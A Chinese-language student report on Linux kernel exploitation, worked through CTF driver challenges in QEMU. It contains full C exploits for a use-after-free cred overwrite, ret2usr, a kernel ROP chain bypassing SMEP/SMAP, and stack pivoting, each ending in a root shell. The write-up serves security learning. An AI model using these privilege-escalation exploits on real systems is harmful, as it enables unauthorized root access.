#
Linux 内核部分漏洞利用实践

​ 胡嘉懿

​ 四川大学 网络空间安全学院,四川 成都 610065

# 摘要:

对于 Linux kernel 中常见的漏洞进行基础的分析和实践利用。学习并介绍了 Linux kernel 的基本 CPU 保护措施。学习了经典工具例如 paholevmlinux-to-elf 等工具的基本功能与使用方式。实践环节采用 qemu 模拟内核,用带有漏洞的内核驱动进行调试攻击。源程序可以在 CTF-wiki 上直接下载。本篇文章着重实践了 Kernel UAF,ret2usr 等攻击方式,同时操作了如何绕过 kernel CPU 保护里的 SMEP 与 SMAP 保护(通过 ROP 技术),以及在内核态中用到的栈迁移等技术。

# 关键词:

kernel UAF,ret2usr,kernel ROP,SMEP,SMAP。

ps: 因为实践报告中代码偏多,md 文档更好编辑代码格式,所以俺直接用的 md 格式转 pdf,字体和格式可能不尽人意,还请海涵🥺。报告纯原创,顺便拿来当成学习记录心得了。

# kernel UAF

# 基础知识点

​ UAF,即为 Use After Free,和用户态 UAF 差别不大,kernel 中的 UAF 利用原理相似。均为堆块 free 后,但堆块指针未悬空。因此我们可以利用未悬空的指针进行一些利用。

​ kernel 中的 UAF,往往是多线程多进程进行利用。例如打开两次同一个驱动 (ko 文件),这样我们能获得两个文件描述符,通过这两个文件描述符都能对该驱动进行操作。

​ kernel UAF 的 exploit 方式似乎起源于这篇论文:《From Collision To Exploitation: Unleashing Use-After-Free Vulnerabilities in Linux Kernel》。是 2015 年的 CCF-A 论文,似乎是上交大发的。

# ciscn2017_babydriver

ctf-wiki 上的例题。

# 文件处理

题目一般是给一个压缩包,关于文件解压基本操作,记录在下。

# 脚本解压

文件解压,可以使用脚本,但是得根据每一道题小改一下解压脚本。

①kernel 镜像解压脚本 extract-image.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

使用方式:

1
./extract-image.sh bzimage > vmlinux

其中 bzimage 是压缩的内核镜像,vmlinux 为解压后的 elf 文件。(然后就可以用 ropper 加载 vmlinux 获取 gadgets)。

②解压文件系统 decompress.sh:

1
2
3
4
5
6
7
8
#!/bin/sh

mkdir initramfs
cd initramfs
cp ../initramfs.cpio.gz .
gunzip ./initramfs.cpio.gz
cpio -idm < ./initramfs.cpio
rm initramfs.cpio

使用方式:

1
./decompress.sh

③文件打包 + 编译 exp compress.sh:

1
2
3
4
5
6
7
8
#!/bin/sh
gcc -o exp -static $1
mv ./exp ./rootfs
cd rootfs
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > rootfs.cpio.gz
mv ./rootfs.cpio.gz ../

使用方式:

1
./compress.sh exp.c
# 直接解压

我个人比较喜欢直接打开内核压缩包所在文件夹,直接右键解压。简单方便。

解压后没有发现驱动文件。查看 rootfs 里的 init 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

可以看到加载了 /lib/modules/4.4.72/babydriver.ko 模块,sudo cp 出来。

查看 boot.sh:把内存改为 256M。

1
2
3
4
5
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console
=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 256M --n
ographic -smp cores=1,threads=1 -cpu kvm64,+smep

# 代码审计

将 babydriver.ko 文件拖进 ida 中。驱动没有去除符号表。

shift+f9 查看结构体:

kernel-UAF-1

发现有一个 babydriver_t 结构体,成员变量为一个 buf 指针 device_buf 和 size 记录 device_buf_len

①babydriver_init:中注册了 /dev/babydev 设备。

②babydriver_ioctl:有一个 0x10001 的命令,根据传入的 size 来调用 kmalloc 申请堆块后,将结构体中的 babydev_struct.device_buf 指针置为堆块地址,同时更新其 babydev_struct.device_buf_len

③babyread:检查传入的 size 是否小于 babydev_struct.device_buf_len ,然后把数据从 babydev_struct.device_buf 中 size 个字节传到 buffer 中。(buffer 为用户自己设定的参数)

这里 ida 伪代码看不出来是从哪往哪 copy:

kernel-UAF-2

可以跳到汇编界面,可以看到 rdi 为 buffer,rsi 为 babydev_struct.device_buf

kernel-UAF-3

因此 babyread 的 copy_to_user 函数应该是:

1
copy_to_user(buffer,babydev_struct.device_buf,length)

④babywrite:检查传入的 size 是否小于 babydev_struct.device_buf_len ,然后把数据从 buffer 中拷贝 size 个字节到 babydev_struct.device_buf 中。

⑤babyopen:open 一个设备的时候会 kmalloc 一个 0x40 大小的堆块,并且更新 babydev_struct.device_buf ,并将 babydev_struct.device_buf_len 设置为 0x40。

⑥babyrelease:free 掉当前 babydev_struct.device_buf 指针,但是没有让指针悬空,存在 UAF 漏洞。

# 思路分析

初步想法是让 cred 结构体申请到 UAF 堆块上。然后通过 UAF 指针改掉 cred 结构体里的 uid 和 gid,进行提权。

在创建进程的时候会创建 cred 结构,如何让 cred 结构和我们 UAF 堆块重合?

首先我们知道在创建新进程的时候会构建 cred 结构,因此我们只要创建一个新进程即可达到申请 cred 结构的目的。只要在申请 cred 结构体的时候,存在一个相同大小的 UAF 堆块,即可造成 cred 结构体堆块和 UAF 堆块重合,然后我们就能利用 UAF 对 cred 结构体进行修改。

能够这样操作的原因是:Linux kernel 使用 slab/slub 来分配内存,与 glibc 下的 ptmalloc 相同点是,如果在空闲的堆里存在符合申请的大小的堆,则直接把这个堆处理后返回给申请方。

因此我们的思路是:

  1. 打开两个文件描述符,因为后续我们需要通过 close 其中一个来进行 free,这时要采用另一个文件描述符才能对设备里的堆进行读写,同时如果两个文件描述符均为打开同一个设备返回的,那么两个文件描述符均能对该设备进行操作。
  2. 调用 iotcl 来改变 babydev_struct.device_buf 堆块的大小为 cred 结构体大小。然后调用 close 进行 free。
  3. fork 出子进程,子进程继承父进程的所有环境,因此子进程有一个和 cred 结构体大小相同的 UAF 堆块,且创建新进程时会创建 cred 结构体,这时候就能申请到 UAF 堆块上去。
  4. 利用另一个未关闭的文件描述符,对子进程里的 UAF 堆块(同时也是 cred 结构体)进行改写,更改其 uid 和 gid。

# 一些问题

# 如何确定 cred 结构体 size?

cred 结构体根据不同内核版本有着不同 size。

这里提供两种方法:

①查询对应版本 linux kernel 源码。

启动 qemu 脚本后,内核中:可以查看内核版本。

1
uname -a

https://elixir.bootlin.com/linux/v4.4.72/C/ident/task_struct

可以查看内核源码。然后手动计算结构体大小。

②写一个测试 c 程序输出 cred 结构体大小:

1
2
3
4
5
6
7
8
9
10
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("Dual BSD/GPL");
struct cred test;
int main()
{
printf("size of cred: %d",sizeof(cred));
}

本来我想的是编译该文件进文件系统,然后 qemu 起了之后,在模拟的 kernel 中运行该程序,打印出 cred 大小,但是编译报错:

kernel-UAF-4

一顿查之后,发现这是个 kernel 编程模块,因此得用 Makefile,而还要引用 kernel 库,这是很难引用题目要求的库的,因为我们并没有题目对应版本的库,要编译这个文件,恐怕得把对应版本 kernel 源码拉取下来,然后编译。

pahole 工具。

pahole 工具能够有效查看 kernel 中结构体的大小。

网上查了半天安装教程,一堆教程感觉都在误导或者说已经不管用了 (

实践后发现,ubuntu 上直接:

1
apt-get install dwarves

即可安装好 pahole

pahole 似乎是通过结构体名称去寻找结构体的,因此 elf 中如果没有结构体名称(也就是符号表),是查询不到的:

如图,查询自己写的 test 文件结构体成功:

kernel-UAF-5

查询 vmlinux 失败:

kernel-UAF-6

这里又用到 vmlinux-to-elf 工具。

vmlinux-to-elf 是一个将压缩内核解压成恢复了部分符号表 vmlinux 的工具。

安装方式:

1
2
3
git clone https://github.com/marin-m/vmlinux-to-elf
cd vmlinux-to-elf
sudo python3 ./setup.py install

使用方式:

1
vmlinux-to-elf bzImage vmlinux.elf

然后 pahole -V vmlinux.elf,但是还是失败:

kernel-UAF-7

④ida 查看 cred size:

在这三种方法都失败 (第一种方法不想看源码一个一个计算),咨询了 winmt 大手子,cred 的 size 可以将 vmlinux 拖进 IDA 中查看:

搜索 cred_init 函数:

kernel-UAF-8

可以看到 cred size 为 0xA8。

# 如何更改 cred 结构体

首先我们知道在申请子进程的时候,slab 会分配空余堆空间 (kernel 低版本) 给 cred 结构体,因此在子进程中可以通过 UAF 指针更改 cred 结构体。我们之前提到,打开了两个文件描述符,可以通过未关闭的那个文件描述符,对程序中的子进程进行读写。

那如何能够去改子进程中的呢?

我们注意一下 fork 函数:

fork 函数返回值:

  1. 父进程中返回值是子进程的 ID.
  2. 子进程返回值为 0.

因此若 fork 函数返回值为 0,我们就能确定这是子进程,就可以在这里对 cred 进行操作。

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);

ioctl(fd1,0x10001,0xa8);//edit heap size

close(fd1);//free heap

int child = fork();
if(child)
{
wait(NULL);
}
else{
char zero[0x10]={0};
write(fd2,zero,0x10);

if(getuid()==0)
{
printf("[*]get shell!\n");
system("/bin/sh");
exit(0);
}
else{
printf("what happened?\n");
}

}
return 0;
}


# ret2usr

# 基础知识点

操作系统中存在四种权限,由高到低为 Ring0,Ring1,Ring2,Ring3。

其中 windows 只使用 Ring0 和 Ring3(Ring0 为内核态,Ring3 为用户态)。

ret2usr 利用的是,在没有开启 smapsmep 保护时,通过内核能够运行用户态代码,来进行提权。

# qwb_2018_core

# 文件处理

常规解压即可。

查看 init 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

其中:

1
echo 1 > /proc/sys/kernel/kptr_restrict

让我们无法在非 root 条件下无法访问 /proc/kallsyms ,常见调试方法为改 /etc/rcS 或者 /etc/inittab 中的 uidgid 为 0,即可在 root 条件下查看 /proc/kallsyms 。这道题直接在 init 中改即可:

1
setsid /bin/cttyhack setuidgid 0 /bin/sh

不过:

1
cat /proc/kallsyms > /tmp/kallsyms

将所有地址 copy 到了 /tmp/kallsyms ,而这里是我们可以访问的,因此相当于我们随时可以获取所有的地址。

有个小问题是:lsmod 下有 core 模块,但是我在 /tmp/kallsyms 里并不能读取到 core_read 等函数的地址,在 /proc/kallsyms 下才能读到。调试的时候因为这个卡了一会。

获取地址的脚本直接用 ctf-wiki 的即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
/*
* give_to_player [master●●] bpython
bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}

}

其中 fgets 是按照文件里的每一行读取,同时读取过一次后,会自动将文件字节流指针往后移一行,同时地址刚好为 16 字节,因此可以获取到所需函数的地址。

# 代码审计

  • init_module:注册了 core 设备, /dev/core 为我们需要打开的设备路径。
  • core_read:函数最开始实现了一个手动的 memset,然后向 v5 [off] 里前 0x40 个字节内容 copy 到传进来的字符串 a1 中。
1
copy_to_user(a1, &v5[off], 0x40LL);

由于 off 我们可以控制,因此可以泄露栈上泄露某些东西。

  • core_write:a2 为传进来的字符串,a3 为 size,将 a2 中 size 个字节的内容 copy 到全局变量 name 中。
1
if(a3 <= 0x800 && !copy_from_user(&name, a2, a3))
  • core_copy_func:将 name 中的内容 copy 到栈上 v2 变量中,其中有一个整数溢出转换,可以让我们绕过 size check,达成栈溢出的目的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 0x3F )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
  • core_ioctl:如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

# 思路分析

因为程序没有开启 smepsmap ,因此我们可以直接 ret2usr,意为在内核层执行用户代码。那我们就可以在用户代码中写入:

1
commit_creds(prepare_kernel_cred(0))

并利用栈溢出构造 ROP 链,使程序调用该用户代码实现提权。

# 一些调试技巧

在 start.sh 中加入 -gdb tcp:port 或者 -s 来开启调试端口。-s 的话是默认端口 1234。

gdb 中:

1
target remote:1234

即可进行调试。

vmlinux-to-elf 解压恢复了部分符号表的 vmlinux,可以在 gdb 中:

1
file vmlinux.elf

来加载其符号。

关于驱动符号,通过在 gdb 中:

1
add-symbol-file xxx addr

可以加载其符号。

其中 addr 可以通过 lsmod 查看,不过需要注意的是,我们需要修改启动脚本,以 root 权限启动,否则 lsmod 看到的地址为 0。

1
2
/ # lsmod
core 16384 0 - Live 0xffffffffc023c000 (O)

# 泄露 canary 和 kernel 基址

这道题可以用程序本身的漏洞来泄露 canarykernel_base ,我选择直接用程序本身漏洞做。

调试时打断点在 core_read 处,continue 过去再打断点在 _copy_to_user 处,可以查看 copy 到用户那的内核栈数据情况。

kernel-ret2usr-1

查看内存布局之后:

kernel-ret2usr-2

泄露 canarykernel_base

1
2
3
4
5
6
7
8
9
void leak(void){
ioctl(global_fd,0x6677889C,0x40);//offset = 0x40
core_read();
canary = buf[0];
kernel_base=buf[4]-0x1DD6D1;
offset = kernel_base-0xffffffff81000000;
printf("[*] Cookie: %lx\n", canary);
printf("[*] kernel_base: %lx\n", kernel_base);
}

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>

int global_fd;
unsigned long buf[20];
unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long canary;
unsigned long kernel_base;
unsigned long offset;
unsigned long rop[0x100];

void open_dev(){
global_fd = open("/proc/core", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}

void core_read()
{
ioctl(global_fd,0x6677889B,buf);
}

void leak(void){
ioctl(global_fd,0x6677889C,0x40);//offset = 0x40
core_read();
canary = buf[0];
kernel_base=buf[4]-0x1DD6D1;
offset = kernel_base-0xffffffff81000000;
printf("[*] Cookie: %lx\n", canary);
printf("[*] kernel_base: %lx\n", kernel_base);
}

void getshell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]you have been root.");
}
exit(0);
}

void myeval()
{
unsigned long int prepare_kernel_cred = offset+0xffffffff8109cce0;
unsigned long int commit_creds = offset+0xffffffff8109c8e0;
char* (*a1)(int) = prepare_kernel_cred;
void (*a2)(char*) = commit_creds;
(*a2)((*a1)(0));
}

void overflow()
{
int n=8;
rop[n++]=canary;
rop[n++]=0;
rop[n++]=(size_t)myeval; //pop_rdi_ret
rop[n++]=0xffffffff81a012da+offset; //swapgs; popfq; ret
rop[n++]=0;
rop[n++]=0xffffffff81050ac2+offset; //iretq
rop[n++]=(size_t)getshell;
rop[n++] = user_cs;
rop[n++] = user_rflags;
rop[n++] = user_sp;
rop[n++] = user_ss;
write(global_fd,rop,0x100*8);
ioctl(global_fd,0x6677889A,0xffffffffffff0000 | (0x100));
}

int main()
{
open_dev();
save_state();
leak();
overflow();
}

# kernel rop

rop 大家都很熟悉了,这里就不再介绍 kernel 的 rop。

# qwb_2018_core

依旧以这道题为例题,我们开启 smapsmep ,用户态数据不可访问,以及用户态代码不可执行。

因此采用 ROP 来提权。我们已经泄露了 kernel_basecanary

因此直接 rop 调用 commit_creds(prepare_kernel_cred(0)) 即可

需要注意的是,用 ropper 获取的某些 gadget 可能不可用,会触发 kernel panic。

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>

int global_fd;
unsigned long buf[20];
unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long canary;
unsigned long kernel_base;
unsigned long offset;
unsigned long rop[0x100];

void open_dev(){
global_fd = open("/proc/core", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}

void core_read()
{
ioctl(global_fd,0x6677889B,buf);
}

void leak(void){
ioctl(global_fd,0x6677889C,0x40);//offset = 0x40
core_read();
canary = buf[0];
kernel_base=buf[4]-0x1DD6D1;
offset = kernel_base-0xffffffff81000000;
printf("[*] Cookie: %lx\n", canary);
printf("[*] kernel_base: %lx\n", kernel_base);
}

void getshell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]you have been root.");
}
exit(0);
}

void overflow()
{
int n=8;
rop[n++]=canary;
rop[n++]=0;
rop[n++]=0xffffffff81000b2f+offset; //pop_rdi_ret
rop[n++]=0;
rop[n++]=0xffffffff8109cce0+offset; //prepare_kernel_cred
rop[n++]=0xffffffff810a0f49+offset; //pop rdx
rop[n++]=0xffffffff8109c8e0+offset; //commit_creds
rop[n++]=0xffffffff8106a6d2+offset; //mov rdi,rax,jmp rdx
rop[n++]=0xffffffff81a012da+offset; //swapgs; popfq; ret
rop[n++]=0;
rop[n++]=0xffffffff81050ac2+offset; //iretq
rop[n++]=(size_t)getshell;
rop[n++] = user_cs;
rop[n++] = user_rflags;
rop[n++] = user_sp;
rop[n++] = user_ss;
write(global_fd,rop,0x100*8);
ioctl(global_fd,0x6677889A,0xffffffffffff0000 | (0x100));
}

int main()
{
open_dev();
save_state();
leak();
overflow();
}

# stack pivoting

若只允许溢出八字节,可采用我们在用户态中采用的技术:stack pivoting。

先找一个合适的 gadget 进行栈迁移:

1
0xffffffff813fed41: mov esp, 0x83000000; ret;

利用 mmap 生成一块内存,在上面填充好我们的 ROP 链:

1
2
3
4
5
6
7
8
9
void build_fake_stack(void){
fake_stack = mmap((void *)0x83000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
... // the rest of the chain is the same as the last payload
}

需要注意的是:

  • mmap 的地址需要 - 0x1000 左右,因为在执行 ROP 链的时候,会往上开辟栈帧,若往上的地址不可写,则会中途崩溃。
  • mmap 出来的页最开始写一点东西来防止 fault。

然后移栈过去即可。

# 可能存在的问题

在内核中,高位地址均为 0xff,那这条指令只改变 esp(rsp 的低四位),这样改出来的地址还合法吗?

1
0xffffffff813fed41: mov esp, 0x83000000; ret;

其实在 intel x86 的约定下,对于某些汇编指令的设计:

例如 mov 置零若对象是 x64 中的四位寄存器,他会相应地把其高位四字节清零。例如以上置零实则会将 rsp 高位清零。

同理我们平常使用的 xor eax,eax 置零,也同样可以达到 xor rax,rax 的目的。

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝